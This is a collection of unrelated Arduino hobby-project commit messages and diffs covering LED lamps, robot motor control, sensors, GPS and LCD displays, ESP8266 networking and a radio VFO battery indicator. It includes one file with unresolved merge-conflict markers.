Now have a mode for water

Now have a mode for water

--- src/RGB_lamps.ino
+++ src/RGB_lamps.ino
@@ -12,9 +12,8 @@
 int dayCols[20][3];
 int waterCols[748][3];
 float cycleFade[4] = {0,0,0,0};
-int waterTime = 100;
-unsigned long water[4] = {waterTime,waterTime,waterTime,waterTime};
-unsigned short waterCur[4] = {0,0,0,0};
+unsigned long waterFade[4] = {0,0,0,0};
+unsigned short waterCur[4] = {0,200,400,600};

 void setup() {

@@ -34,8 +33,7 @@
   setColors();

   for (int lamp = 0; lamp < 4; lamp++) {
-    //lamps[lamp].fade(2000, dayCols[10]);
-    lamps[lamp].setColor(waterCols[0]);
+    lamps[lamp].fade(2000, dayCols[10]);
   }
 }

@@ -57,11 +55,10 @@
         lamps[lamp].fade(cycleFade[lamp], colors[random(0, 215)]);
       }
     }
-    else if(water[lamp] != 0) {
-      if(millis() > water[lamp]) {
-        waterCur[lamp] = (waterCur[lamp] + 1) % 748;
-        lamps[lamp].setColor(waterCols[waterCur[lamp]]);
-        water[lamp] += 100;
+    else if (waterFade[lamp] != 0) {
+      if (!lamps[lamp].fade()) {
+        waterCur[lamp] = (waterCur[lamp] + 1) % 747;
+        lamps[lamp].fade(waterFade[lamp], waterCols[waterCur[lamp]++]);
       }
     }
   }
@@ -71,6 +68,7 @@
 // We need to be able to stop the fading
 void unset(int lamp) {
   cycleFade[lamp] = 0;
+  waterFade[lamp] = 0;
   lamps[lamp].fadeStop();
 }

@@ -191,6 +189,23 @@
         for(int lamp = 0; lamp < 4; lamp++) {
           unset(lamp);
           cycleFade[lamp] = time*1000.0;
+        }
+      }
+    }
+    else if (ctrl == 11) {
+      //CycleFade for lamp(s)
+      char ctime[1];
+      Serial.readBytes(ctime,1);
+      int time = ctime[0];
+
+      if (selected_lamp < 4) {
+        unset(selected_lamp);
+        waterFade[selected_lamp] = time*10;
+      }
+      else {
+        for(int lamp = 0; lamp < 4; lamp++) {
+          unset(lamp);
+          waterFade[lamp] = time*10;
         }
       }
     }


Partial changes to move() and Instrument; other changes lost

--- Elcano_C2_DriveByWire.ino
+++ Elcano_C2_DriveByWire.ino
@@ -7,7 +7,7 @@

 #define MEGA
 #define STEP_SIZE_ms 5
-// #define TEST_MODE
+#define TEST_MODE
 #ifndef TRUE
 #define TRUE 1
 #define FALSE 0
@@ -346,6 +346,9 @@
   static unsigned long OutsideTime;

   OutsideTime = EndTime - TimeNow;
+  Instrument[Motor].Enabled = digitalRead(EnableMotor);
+  Instrument[Brakes].Enabled = digitalRead(EnableBrake);
+  Instrument[Steering].Enabled = digitalRead(EnableSteer);
 #ifdef TEST_MODE
 //  testSwitches();
 //  testRamp();
@@ -355,9 +358,6 @@
 #else  // not TEST_MODE

   JoystickMotion();
-  Instrument[Motor].Enabled = digitalRead(EnableMotor);
-  Instrument[Brakes].Enabled = digitalRead(EnableBrake);
-  Instrument[Steering].Enabled = digitalRead(EnableSteer);
   StateTransition(Motor);
   StateTransition(Brakes);
   StateTransition(Steering);
@@ -834,19 +834,19 @@
 }
 void RampTest()
 {
-  int Position[3];
-
-  while ( true) // i < i_max; i += i_step)
-  {
-    for (int i = 0; i< 3 i++);
+  static int Position[] ={ 0, 0, 0};
+    for (int i = 0; i< 3; i++)
     {
        if( digitalRead(Instrument[i].EnablePin) == HIGH)
        {
            if (abs(Instrument[i].move(Position[i]) - Position[i]) < Instrument[i].CloseEnough)
              Position[i] = Position[i]? 0: 4095;
+          Serial.print(i); Serial.print(", ");
+          Serial.print(Position[i]); Serial.print(", ");
+
        }
     }
-  }
+
 }

 /*---------------------------------------------------------------------------------------


Make sensor error a struct rather than an array

--- Vertex.ino
+++ Vertex.ino
@@ -28,7 +28,12 @@
 const int readyLED = A0;
 const int armButton = 2;
 boolean armed = false;
-float sensorError[2] = {0, 0};
+
+struct SensorError {
+  float pitch;
+  float roll;
+};
+SensorError sensorError = {0, 0};
 boolean calibrating = true;

 Adafruit_10DOF                dof   = Adafruit_10DOF();
@@ -97,12 +102,12 @@
   const unsigned short trials = 20;
   for (int trial = 0; trial < trials; trial++) {
     sensors_vec_t sensorData = getOrientation();
-    sensorError[0] += (float)sensorData.pitch;
-    sensorError[1] += (float)sensorData.roll;
+    sensorError.pitch += (float)sensorData.pitch;
+    sensorError.roll += (float)sensorData.roll;
     delay(20);
   }
-  sensorError[0] /= trials;
-  sensorError[1] /= trials;
+  sensorError.pitch /= trials;
+  sensorError.roll /= trials;
   calibrating = false;

   digitalWrite(armLED, HIGH);
@@ -132,8 +137,8 @@
   orientation.roll = -orientation.pitch;
   orientation.pitch = roll;
   if (!calibrating) {
-    orientation.pitch -= sensorError[0];
-    orientation.roll -= sensorError[1];
+    orientation.pitch -= sensorError.pitch;
+    orientation.roll -= sensorError.roll;
   }
   orientation.heading = -orientation.heading;
   return orientation;


add a second transponder

add a second transponder


v5.1  Minor bug fixes

v5.1  Minor bug fixes

--- GPSLCD.ino
+++ GPSLCD.ino
@@ -34,6 +34,7 @@
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
 */
+
 #include "GPSLCD.h"
 #include <TinyGPS++.h>
 #include <SoftwareSerial.h>
@@ -41,8 +42,8 @@

 TinyGPSPlus gps; // This is the GPS object that will pretty much do all the grunt work with the NMEA data
 SoftwareSerial GPSModule(10, 11); // RX, TX
-LiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin);
-                  // Initializes class variables and defines the I2C address of the LCD
+LiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin);
+// Initializes class variables and defines the I2C address of the LCD

 // The setup (runs once at start up)
 void setup()
@@ -286,11 +287,13 @@
         }
       }
       else { // if (!localUTCTimeDate)
+        // Display Hdop
         displayHdopOnLCD (GPSData.hdop, displayHdop, now,
                           &prevHdopTime, &hdopToggle);
       } // if (!localUTCTimeDate)
     } // if ((digitalRead(ALTITUDE_DATE_TIME_SW)))
     else {
+      // Display Hdop
       displayHdopOnLCD (GPSData.hdop, displayHdop, now,
                         &prevHdopTime, &hdopToggle);
     } // if ((digitalRead(ALTITUDE_DATE_TIME_SW)))
@@ -669,9 +672,9 @@
       } // if (now - prevHdopTime > TOGGLETIME_INTERVAL)
     } // if (hdop < 10.0f)
   }
-  else { // if (!displayHdop)
+  else { // if (!HdopSelect)
     // Display horizontal position error in feet
-    float hError = Hdop / 100.0f; // Error in X.X format
+    float hError = (float)Hdop / 100.0f; // Error in X.X format
     hError *= GPS_RECEIVER_ERROR; // Error in meters
     hError *= _GPS_FEET_PER_METER; // Error in feet
     lcd.print(" Err: ");
@@ -699,7 +702,7 @@
         } // if (hdopToggle)
       } // if (now - prevHdopTime > TOGGLETIME_INTERVAL)
     } // if (hError < 100.0f)
-  } // if (displayHdop)
+  } // if (!HdopSelect)
 }

 #endif // #ifndef _16x2


Update arduino_md03_v_5_0.ino

Update arduino_md03_v_5_0.ino

Changed headder


removed uView debug msgs

removed uView debug msgs

--- uArm.ino
+++ uArm.ino
@@ -416,9 +416,6 @@
 #ifdef USE_ESP8266_LIB
         len = wifi.ReceiveMessage(buf);
         if (len > 0) {
-uView.setCursor(0,0);
-uView.print(buf);
-uView.display();
                 processCommand(buf);
         }
 #else


Removed code that was causing Kirbi to not run

--- Kirbi/src/kirbi/kirbi.ino
+++ Kirbi/src/kirbi/kirbi.ino
@@ -5,10 +5,10 @@
 void setup()
 {
 //      setup_imu();
-      setup_distance();
+//      setup_distance();
       setup_motors();
 //      setup_encoders();
-      setup_line();
+//      setup_line();
       setup_remote();
       pinMode(13, OUTPUT);
       //while (!digitalRead(REMOTE_PIN)) {
@@ -16,7 +16,7 @@
       //}
       // delay(500);
       Serial.begin(115200);
-      while (!Serial);
+//      while (!Serial);
       Serial.println("finished setup");
 //      Serial.println("finished setup");

@@ -30,16 +30,16 @@
             do_startup_action();
             while (digitalRead(REMOTE_PIN))
             {
-                  if (get_line_flag())
-                  {
-                        drive(-30, -30);
-                        delay(200);
-//                        Serial.println("Line!");
-                  }
-                  else
-                  {
-                        //curr_state = SLAMMY_WHAMMY; //for testing purposes only
-                        curr_state = state_machine();
+//                  if (get_line_flag())
+//                  {
+//                        drive(-30, -30);
+//                        delay(200);
+////                        Serial.println("Line!");
+//                  }
+//                  else
+//                  {
+                        curr_state = SLAMMY_WHAMMY; //for testing purposes only
+//                        curr_state = state_machine();
                         //Serial.println(digitalRead(LEFT_INT_LINE));
                         //Serial.println(digitalRead(RIGHT_INT_LINE));
                         //Serial.println(digitalRead(REMOTE_PIN));
@@ -107,13 +107,13 @@
                               drive(0, 0);
 //                              Serial.println("AGHHHHHHHHHH FIREEEE");
                               break;
-                        }
+//                        }
                   }
             }
 //            Serial.println("END SIGNAL");
             drive(0,0);
 //
-//      }
+      }
 //      get_distances();
 //      delay(1000);
 }


Tuning gains for new motor.

Tuning gains for new motor.

--- scr_arduino/scr_arduino.ino
+++ scr_arduino/scr_arduino.ino
@@ -85,17 +85,17 @@
 PID L_DCMotorPID(&L_WheelVelocity,
                  &L_PIDout,
                  &lw_cmd_spd,
-                 0.75,
-                 0.0,
-                 0.15,
+                 0.65,
+                 0.001,
+                 0.10,
                  REVERSE);

 PID R_DCMotorPID(&R_WheelVelocity,
                  &R_PIDout,
                  &rw_cmd_spd,
-                 0.75,
-                 0.0,
-                 0.15,
+                 0.6,
+                 0.001,
+                 0.10,
                  REVERSE);

 // Motor Callbacks


minor upd

minor upd

--- linefollower/linefollower.ino
+++ linefollower/linefollower.ino
@@ -1,3 +1,9 @@
+// TODO:
+//
+//    * Weigh down axis
+//    * Build functions instead
+//    * Measure three times and use average
+
 // Include libraries:
 #include <Adafruit_MotorShield.h>
 #include <lenlib.h>
@@ -17,14 +23,14 @@
 //int turnSpeed = 60;

 // Variable that works as a factor regulating the turn speed. i.e 1.8*spedVal = turnspeed
-float turnMulti = 1.8;
+float turnMulti = 1.7;

 myMotors Motors;   // Create Motors object
 mySensors Sensors; // Create Sensors object

 void setup() {
   Serial.begin(9600); // set up Serial connection at 9600 bps
-
+
   Motors.beginMotors();   // Start motors
   Sensors.beginSensors(); // Start sensors

@@ -49,12 +55,12 @@
   Serial.print("\n");

   // if the right sensor is the only sensor that have the value 1, the bot need to compensate by turning right
-  if((leftSensor == 0 && middleSensor == 0 && rightSensor == 1) || (leftSensor == 0 && middleSensor == 1 && rightSensor == 1))
+  if((leftSensor == 1 && middleSensor == 0 && rightSensor == 0) || (leftSensor == 1 && middleSensor == 1 && rightSensor == 0))
   {
       Motors.runMotor(1,FORWARD,(turnMulti*speedVal));
-      Motors.runMotor(2,BACKWARD,0);
+      Motors.runMotor(2,FORWARD,0);
       //remove delay
-      delay(delVal);
+      delay(delVal);
       //if((leftSensor == 0 && middleSensor == 0 && rightSensor == 0) || (leftSensor == 1 && middleSensor == 1 && rightSensor == 1))
 //      {
 //          Motors.runMotor(1,FORWARD,(turnMulti*speedVal));
@@ -63,10 +69,10 @@
 //      else{}
   }
   // if the left sensor is the only sensor that have the value 1, the bot need to compensate by turning left
-  else if((leftSensor == 1 && middleSensor == 0 && rightSensor == 0) || (leftSensor == 1 && middleSensor == 1 && rightSensor == 0))
+  else if((leftSensor == 0 && middleSensor == 0 && rightSensor == 1) || (leftSensor == 0 && middleSensor == 1 && rightSensor == 1))
   {
-      Motors.runMotor(1,BACKWARD,0);
       Motors.runMotor(2,FORWARD,(turnMulti*speedVal));
+      Motors.runMotor(1,FORWARD,0);
       //remove delay
       delay(delVal);
       //if((leftSensor == 0 && middleSensor == 0 && rightSensor == 0) || (leftSensor == 1 && middleSensor == 1 && rightSensor == 1))
@@ -88,7 +94,7 @@
       else
       {
         Motors.runMotor(1,FORWARD,speedVal);
-        Motors.runMotor(2,FORWARD,speedVal);
+        Motors.runMotor(2,FORWARD,speedVal);
       }
       //remove delay
       delay(delVal);


Pin Mapping

Pin Mapping

--- Programmer/Programmer.ino
+++ Programmer/Programmer.ino
@@ -62,7 +62,7 @@
  * 5V:
  * 3.3V: nRF24LE1 VDD
  * AREF:
- * GND:  nRF24LE1 VCC
+ * GND:  nRF24LE1 VSS

  (~ PWM)

@@ -70,10 +70,21 @@
  0:
  1:

+ Pin-Mapping:
+ Arduino	24Pin		32Pin		48Pin
+ D07 (RXD)	12 P0.6		10 P0.4		15 P1.1
+ D08 (PROG)	 5 PROG		 6 PROG		10 PROG
+ D09 (RESET)	13 RESET	19 RESET	30 RESET
+ D10 (TXD)	11 P0.5		15 P1.1		22 P2.0
+ D11 (FMOSI)	 9 P0.3		13 P0.7		19 P1.5
+ D12 (FMISO)	10 P0.4		14 P1.0		20 P1.6
+ D13 (FSCK)	 8 P0.2		11 P0.5 	16 P1.2

  */
 #include <SPI.h>
 #include <SoftwareSerial.h>
+#define NRFTYPE 24
+

 // Specify pins in use
 #define PROG      8   // nRF24LE1 Program


Fixing CS5490_Basics

Fixing CS5490_Basics

- Avoid using pin 13 for Software Serial
- Leonardo Compatibility improve
- Less decimal places

--- examples/CS5490_Basics/CS5490_Basics.ino
+++ examples/CS5490_Basics/CS5490_Basics.ino
@@ -1,7 +1,7 @@

 #include<CS5490.h>

-#define rx 13
+#define rx 11
 #define tx 12

 /* Choose your board */
@@ -19,6 +19,8 @@
   line.begin(600);
   //Initializing communication arduino/PC to show results in Monitor Serial
   Serial.begin(115200);
+  // wait for serial port to connect. Needed for Leonardo only
+  while (!Serial);
 }

 void loop() {
@@ -27,7 +29,7 @@
   double bar = line.getTime();

   Serial.print("The Line to Sample Frequency Ratio is: ");
-  Serial.println( foo , 10 ); //10 is the number of decimal places
+  Serial.println( foo , 5 ); //5 is the number of decimal places

   Serial.print("The System Time is: ");
   Serial.println( bar );


Update LTE_M8321.ino

Update LTE_M8321.ino

--- examples/Modules/LTE_M8321/LTE_M8321.ino
+++ examples/Modules/LTE_M8321/LTE_M8321.ino
@@ -304,7 +304,6 @@
     // put your setup code here, to run once:
     M5.begin();
     M5.Power.begin();
-    Serial.begin(115200);
     Serial2.begin(115200, SERIAL_8N1, 16, 17);

     Disbuff.createSprite(320, 100);


Update pattern player example

Update pattern player example

--- examples/PatternPlayer/PatternPlayer.ino
+++ examples/PatternPlayer/PatternPlayer.ino
@@ -1,6 +1,7 @@
 #include <FastLED.h>
-#include <avr/pgmspace.h>
+//#include <avr/pgmspace.h>
 #include <Animation.h>
+
 #include "animation.h"

 #define LED_COUNT 60
@@ -33,41 +34,32 @@

 void serialLoop() {
+
   static int pixelIndex;
+  uint8_t idx = 0;
+  uint8_t buffer[3];
+  uint8_t c;

-  unsigned long lastReceiveTime = millis();
-
   while(true) {
-
-    if(Serial.available() > 2) {
-      lastReceiveTime = millis();
-
-      uint8_t buffer[3]; // Buffer to store three incoming bytes used to compile a single LED color
-
-      for (uint8_t x=0; x<3; x++) { // Read three incoming bytes
-        uint8_t c = Serial.read();
-
-        if (c < 255) {
-          buffer[x] = c; // Using 255 as a latch semaphore
-        }
-        else {
-          LEDS.show();
-          pixelIndex = 0;
-          break;
-        }
-
-        if (x == 2) {   // If we received three serial bytes
-          if(pixelIndex == LED_COUNT) break; // Prevent overflow by ignoring the pixel data beyond LED_COUNT
+    if (Serial.available() > 0) {
+      c = Serial.read();
+      if (c == 255) {
+	LEDS.show();
+	pixelIndex = 0;
+	idx = 0;
+	// BUTTON_IN (D10):   07 - 0111
+	// EXTRA_PIN_A(D7):          11 - 1011
+	// EXTRA_PIN_B (D11):        13 - 1101
+	// ANALOG_INPUT (A9): 14 - 1110
+      } else {
+        buffer[idx++] = c;
+        if (idx == 3) {
+          if(pixelIndex == MAX_LEDS) break; // Prevent overflow by ignoring the pixel data beyond LED_COUNT
           leds[pixelIndex] = CRGB(buffer[0], buffer[1], buffer[2]);
           pixelIndex++;
+          idx = 0;
         }
       }
-    }
-
-    // If we haven't received data in 4 seconds, return to playing back our animation
-    if(millis() > lastReceiveTime + 4000) {
-      // TODO: Somehow the serial port gets trashed here, how to reset it?
-      return;
     }
   }
 }


Comma!

Comma!

--- examples/knight_rider3/knight_rider3.ino
+++ examples/knight_rider3/knight_rider3.ino
@@ -9,7 +9,7 @@
 void setup() {
   // Create a sweep machine and add it to the factory
   factory.add( sweep.begin( 4, 5, 6, 7, 8, 9 ).speed( 50 ) );
-  // Create a button machine link it to the sweep machine and add it to the factory
+  // Create a button machine, link it to the sweep machine and add it to the factory
   factory.add( button.begin( 2 ).onPress( sweep, sweep.EVT_TOGGLE ) );
 }


correct issue on rx/tx number pin

correct issue on rx/tx number pin

--- capteurQ/capteurQ.ino
+++ capteurQ/capteurQ.ino
@@ -21,8 +21,8 @@

 // defines
 #define DHTPIN 5     // what digital pin we're connected to
-#define rxPin 13           //for D10
-#define txPin 14           //for D11
+#define rxPin 10           //for D10
+#define txPin 11           //for D11

 // Uncomment whatever type you're using!
 //#define DHTTYPE DHT11   // DHT 11
@@ -61,6 +61,7 @@
     myChar = Serial.read();
     mySerial.print(myChar);
   }
+
   // Wait a few seconds between measurements.
   delay(5000);


using the modes

using the modes

--- RocketMega/RocketMega.ino
+++ RocketMega/RocketMega.ino
@@ -240,6 +240,15 @@
 	}

 	// determine if we need to change state
+	switch(mode)
+	{
+        case MODE_READY: modeReady(); break;
+        case MODE_ASCENT: modeAscent(); break;
+        case MODE_APOGEE: modeApogee(); break;
+        case MODE_DESCENT: modeDescent(); break;
+        case MODE_DESCENT2: modeDescent2(); break;
+        case MODE_TOUCHDOWN: modeTouchdown(); break;
+	}

 	// handle serial output on interval
 	if (timer % logInterval == 0)


Fix so that restart button restarts countdown when in beeping state

--- timer/timer.ino
+++ timer/timer.ino
@@ -228,6 +228,7 @@
 void running_state_loop_buttons (int button) {
   if ( button == BUTTON_RESTART ) {
     countdown.restart();
+    change_to_state(STATE_RUNNING);
   } else if ( button == BUTTON_MODE ) {
     change_to_state(STATE_WAITING);
   } else if ( button == BUTTON_PLUS ) {


Add conditioning implementation

Add conditioning implementation

--- Arduino/noise_multiplier/noise_multiplier.ino
+++ Arduino/noise_multiplier/noise_multiplier.ino
@@ -1,12 +1,15 @@
 #include "AES.h"
+#include "CBC.h"

 #define CHAIN_SIZE 2
 #define BLOCK_SIZE 16
-#define SAMPLE_SIZE BLOCK_SIZE * CHAIN_SIZE
+#define SAMPLE_SIZE (BLOCK_SIZE * CHAIN_SIZE)

-AES128 aes128;
 byte key[16] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
                     0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F};
+
+CBC<AES128> cbc;
+

 byte sourcePool[SAMPLE_SIZE];

@@ -38,13 +41,12 @@

   sei();

-  Serial.begin(9600);
+  Serial.begin(230400);
   Serial.println("Starting...");

   //Set D pins to input
   DDRD = 0x00;

-  aes128.setKey(key, aes128.keySize());
 }

@@ -54,7 +56,7 @@
   boolean byteReady = collectBit(pinVal, &currentByte);

   if (byteReady){
-    Serial.println(currentByte);
+    //Serial.println("ByteCollected");
     boolean poolFull = collectByte(currentByte);
     if (poolFull){
       conditionPool();
@@ -80,14 +82,26 @@
   static int byteCount = 0;
   sourcePool[byteCount] = currentByte;
   byteCount = ++byteCount % SAMPLE_SIZE;
+  //Serial.println(byteCount);
+
   if (byteCount == 0){
     return true;
   }
   return false;
 }
-
+
 void conditionPool(){
+  //Serial.println("Conditioning");
+  static byte iv[BLOCK_SIZE] = {0};
+  byte output[SAMPLE_SIZE];
+  cbc.clear();
+  cbc.setKey(key, 16);
+  cbc.setIV(iv, 16);
+  cbc.encrypt(output, sourcePool, SAMPLE_SIZE);

+   //advance pointer to last block (the MAC)
+  byte *outBuf = &output[SAMPLE_SIZE - BLOCK_SIZE];
+  Serial.write(outBuf, BLOCK_SIZE);
 }

 void loop()


Brightness placeholder

Brightness placeholder

--- examples/cymatic-curtains-with-triangles/cymatic-curtains-with-triangles.ino
+++ examples/cymatic-curtains-with-triangles/cymatic-curtains-with-triangles.ino
@@ -155,6 +155,8 @@
   FastLED.addLeds<WS2811,  6, GRB>(strip6.leds, 165);
   FastLED.addLeds<WS2811,  7, GRB>(strip7.leds, 165);

+  FastLED.setBrightness(255);
+
   Looper* looper = Looper::instance();
   looper->addInput(input);
   looper->addVisualization(viz);


Arg, fix conflicts

Arg, fix conflicts

--- software/_proto_ESPTesting/ESPNano/ESPNano.ino
+++ software/_proto_ESPTesting/ESPNano/ESPNano.ino
@@ -118,17 +118,23 @@
   }

 <<<<<<< HEAD
+<<<<<<< HEAD
   cmd =  "GET / HTTP/1.1\r\n";  //construct http GET request
   cmd += "Host: nickmccomb.com\r\n\r\n";        //test file on my web
   ESPComm.print("AT+CIPSEND=");                //www.cse.dmu.ac.uk/~sexton/test.txt
   ESPComm.print(cmd.length());  //esp8266 needs to know message length of incoming message - .length provides this
   ESPComm.print("\015\012");
 =======
+=======
+>>>>>>> parent of 40fe488... Added Current ESP Development Code
   cmd =  "GET /~sexton/test.txt HTTP/1.0\r\n";  //construct http GET request
   cmd += "Host: cse.dmu.ac.uk\r\n\r\n";        //test file on my web
   Serial.print("AT+CIPSEND=");                //www.cse.dmu.ac.uk/~sexton/test.txt
   Serial.print(cmd.length());  //esp8266 needs to know message length of incoming message - .length provides this
   Serial.print("\015\012");
+<<<<<<< HEAD
+>>>>>>> parent of 40fe488... Added Current ESP Development Code
+=======
 >>>>>>> parent of 40fe488... Added Current ESP Development Code

   if(Serial.find(">"))    //prompt offered by esp8266


make bme280 actually work

make bme280 actually work

--- ScoutWeatherStation/scout_weather_station.ino
+++ ScoutWeatherStation/scout_weather_station.ino
@@ -41,7 +41,7 @@
 #define USING_OLED 2

 // set what you're using here:
-#define SENSOR USING_BMP
+#define SENSOR USING_BME
 #define MY_DISPLAY USING_OLED

 ////////////////////////////////////////////////////
@@ -51,6 +51,7 @@
 //
 #define SLEEP_SECONDS 8
 #define OLED_RESET 0
+#define BME_ADDRESS 0x76
 #define LCD_ADDRESS 0x27
 #define OLED_ADDRESS 0x3C
 #define DHTPIN 4
@@ -89,8 +90,7 @@
 #endif

 #if SENSOR == USING_BME
-//Adafruit_BME280 sensor; // I2C
-#error BME280 not yet tested
+Adafruit_BME280 sensor; // I2C
 #endif

 #if SENSOR == USING_BMP
@@ -160,7 +160,10 @@

 #if SENSOR == USING_BME
   Serial.println("Using BME280 I2C Sensor");
-  sensor.begin();
+  if (!sensor.begin(0x76)) {
+    Serial.println("Could not find a valid BME280 sensor, check wiring!");
+    while (1);
+  }
 #endif

 #if SENSOR == USING_BMP
@@ -250,21 +253,21 @@
   display.print(humidity, 2);
   display.println("%");

-  #if SENSOR == USING_BME
+#if SENSOR == USING_BME
   display.setCursor(18, 48);
   display.print("Pres: ");
   display.print(hpascals_to_inhg(pressure));
   display.println("mmHg");

-  #endif // BME
-
-  #if SENSOR == USING_BMP
+#endif // BME
+
+#if SENSOR == USING_BMP
   display.setCursor(18, 48);
   display.print("Pres: ");
   display.print(hpascals_to_inhg(pressure));
   display.println("mmHg");

-  #endif // BMP
+#endif // BMP

   display.display();
 #endif // DISPLAY
@@ -322,7 +325,7 @@

 // Client variables
 char linebuf[80];
-int charcount=0;
+int charcount = 0;
 WiFiServer server(80);

 void setup_wireless() {
@@ -350,8 +353,8 @@
   WiFiClient client = server.available();
   if (client) {
     Serial.println("New client");
-    memset(linebuf,0,sizeof(linebuf));
-    charcount=0;
+    memset(linebuf, 0, sizeof(linebuf));
+    charcount = 0;
     // an http request ends with a blank line
     boolean currentLineIsBlank = true;
     while (client.connected()) {
@@ -359,8 +362,8 @@
         char c = client.read();
         Serial.write(c);
         //read char by char HTTP request
-        linebuf[charcount]=c;
-        if (charcount<sizeof(linebuf)-1) charcount++;
+        linebuf[charcount] = c;
+        if (charcount < sizeof(linebuf) - 1) charcount++;
         // if you've gotten to the end of the line (received a newline
         // character) and the line is blank, the http request has ended,
         // so you can send a reply
@@ -373,13 +376,13 @@
           client.println("<!DOCTYPE HTML><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">");
           client.println("<meta http-equiv=\"refresh\" content=\"30\">");
           client.println("

ESP32 - DHT

");
-          if(temperature >=25 ) {
+          if (temperature >= 25 ) {
             client.println("
");
           }
-          else if(temperature <25 && temperature >=5 ) {
+          else if (temperature < 25 && temperature >= 5 ) {
             client.println("
");
           }
-          else if(temperature <5){
+          else if (temperature < 5) {
             client.println("
");
           }
           client.println(temperature, 2);
@@ -394,8 +397,8 @@
         if (c == '\n') {
           // you're starting a new line
           currentLineIsBlank = true;
-          memset(linebuf,0,sizeof(linebuf));
-          charcount=0;
+          memset(linebuf, 0, sizeof(linebuf));
+          charcount = 0;
         } else if (c != '\r') {
           // you've gotten a character on the current line
           currentLineIsBlank = false;
@@ -427,6 +430,7 @@
 #ifdef USE_ARDUINO
   setup_watchdog_timer();
 #endif
+
   Wire.begin();
   Serial.begin(9600);

@@ -451,7 +455,7 @@
   respond_network_clients();
 #endif

-if (f_wdt == 1) {
+  if (f_wdt == 1) {
 #if SENSOR == USING_DHT

     humidity = sensor.readHumidity();
@@ -461,7 +465,9 @@

 #endif
 #if SENSOR == USING_BME
-#error BME280 not yet tested
+    humidity = sensor.readHumidity();
+    temperature = sensor.readTemperature();
+    pressure = sensor.readPressure();
 #endif

 #if SENSOR == USING_BMP
@@ -494,7 +500,7 @@
     Serial.println("going to sleep");
     ESP.deepSleep(SLEEP_SECONDS * 1000000);
     delay(100); // sometimes a few more instructions happen
-                 // making the non dead code not quite dead
+    // making the non dead code not quite dead
 #endif // USING_WIRELESS
 #endif // USE_ESP


changed naming for skyview and d100 d10 defines

--- AOA_TONE_EFIS_SERIAL/AOA_TONE_EFIS_SERIAL.ino
+++ AOA_TONE_EFIS_SERIAL/AOA_TONE_EFIS_SERIAL.ino
@@ -45,10 +45,11 @@
 #define DYNON_SERIAL_LEN              53
 #define DYNON_SKYVIEW_SERIAL_LEN      74

-//#define MIKE_SETUP 1            // if this is defined then use settings for his RV4 (dynon D10)
-#define NIGEL_SETUP 1
-
-#ifdef NIGEL_SETUP
+//#define SETUP_DYNON_D100 1            // if this is defined then use settings (dynon D10 or D100)
+#define SETUP_DYNON_SKYVIEW 1           // if defined then use settings for dynon skyview
+
+#ifdef SETUP_DYNON_SKYVIEW
+  // Dynon Skyview settings.
   // AOA values & Tone Pulse Per Sec (PPS)
   #define HIGH_TONE_STALL_PPS   20      // how many PPS to play during stall
   #define HIGH_TONE_AOA_STALL   80      // % (and above) where stall happens.
@@ -65,7 +66,8 @@
   #define BAUDRATE_EFIS         9600

 #else
-#ifdef MIKE_SETUP
+#ifdef SETUP_DYNON_D100
+  // Dynon D100 or D10 settings.
   // AOA values & Tone Pulse Per Sec (PPS)
   #define HIGH_TONE_STALL_PPS   20      // how many PPS to play during stall
   #define HIGH_TONE_AOA_STALL   72      // % (and above) where stall happens.
@@ -79,9 +81,10 @@
   #define LOW_TONE_PPS_MAX      8.5
   #define LOW_TONE_PPS_MIN      1.5
   #define LOW_TONE_HZ           400     // freq of low tone
-  #define BAUDRATE_EFIS         115200
+  #define BAUDRATE_EFIS         115200  // default baud rate for D100/D10
 #else
-  // AOA values & Tone Pulse Per Sec (PPS)
+  // AOA values & Tone Pulse Per Sec (PPS)
+  // DEFAULT SETTINGS.
   #define HIGH_TONE_STALL_PPS   20      // how many PPS to play during stall
   #define HIGH_TONE_AOA_STALL   90      // % (and above) where stall happens.
   #define HIGH_TONE_AOA_START   70      // % (and above) where high tone starts


Added voltage measurement and battery indicator

--- DigitalVFO.ino
+++ DigitalVFO.ino
@@ -24,8 +24,9 @@
 #define DEBUG_RE      (1 << 5)
 #define DEBUG_INT     (1 << 6)
 #define DEBUG_DISP    (1 << 7)
-
-#define DEBUG         (DEBUG_DDS | DEBUG_FREQ | DEBUG_EVENT)
+#define DEBUG_BATT    (1 << 8)
+
+#define DEBUG         (DEBUG_BATT)
 //#define DEBUG         0

 // Digital VFO program name & version
@@ -91,7 +92,8 @@
 // address in display CGRAM for definable and other characters
 const int SelectChar = 0;     // shows 'underlined' decimal digits (dynamic, 0 to 9)
 const int SpaceChar = 1;      // shows an 'underlined' space character
-const int InUseChar = 2;      // shosws a right-facing arrow
+const int InUseChar = 2;      // shows a right-facing arrow
+const int BatteryChar = 3;    // shows the appropriate battery symbol

 const int AllsetChar = 0xff;  // the 'all bits set' char in display RAM, used for 'bar' display

@@ -136,6 +138,22 @@
 const UINT DefaultLcdBrightness = 150;

 //-----
+// battery symbols
+//-----
+
+byte battunder[8] = {0x0e,0x1f,0x11,0x11,0x11,0x11,0x11,0x11};
+byte batt00[8]    = {0x0e,0x1f,0x11,0x11,0x11,0x11,0x11,0x1f};
+byte batt20[8]    = {0x0e,0x1f,0x11,0x11,0x11,0x11,0x1f,0x1f};
+byte batt40[8]    = {0x0e,0x1f,0x11,0x11,0x11,0x1f,0x1f,0x1f};
+byte batt60[8]    = {0x0e,0x1f,0x11,0x11,0x1f,0x1f,0x1f,0x1f};
+byte batt80[8]    = {0x0e,0x1f,0x11,0x1f,0x1f,0x1f,0x1f,0x1f};
+byte batt100[8]   = {0x0e,0x1f,0x1f,0x1f,0x1f,0x1f,0x1f,0x1f};
+byte battover[8]  = {0x1f,0x1f,0x1f,0x1f,0x1f,0x1f,0x1f,0x1f};
+
+// array of references to the 8 'battery symbol' characters
+byte *batt_syms[] = {battunder, batt00, batt20, batt40, batt60, batt80, batt100, battover};
+
+//-----
 // Events and the event queue.
 //-----

@@ -170,6 +188,9 @@
 // Miscellaneous.
 //-----

+// milliseconds delay between measuring battery voltage
+const int VoltageDelay = 30000;
+
 // stuff for the calibrate action
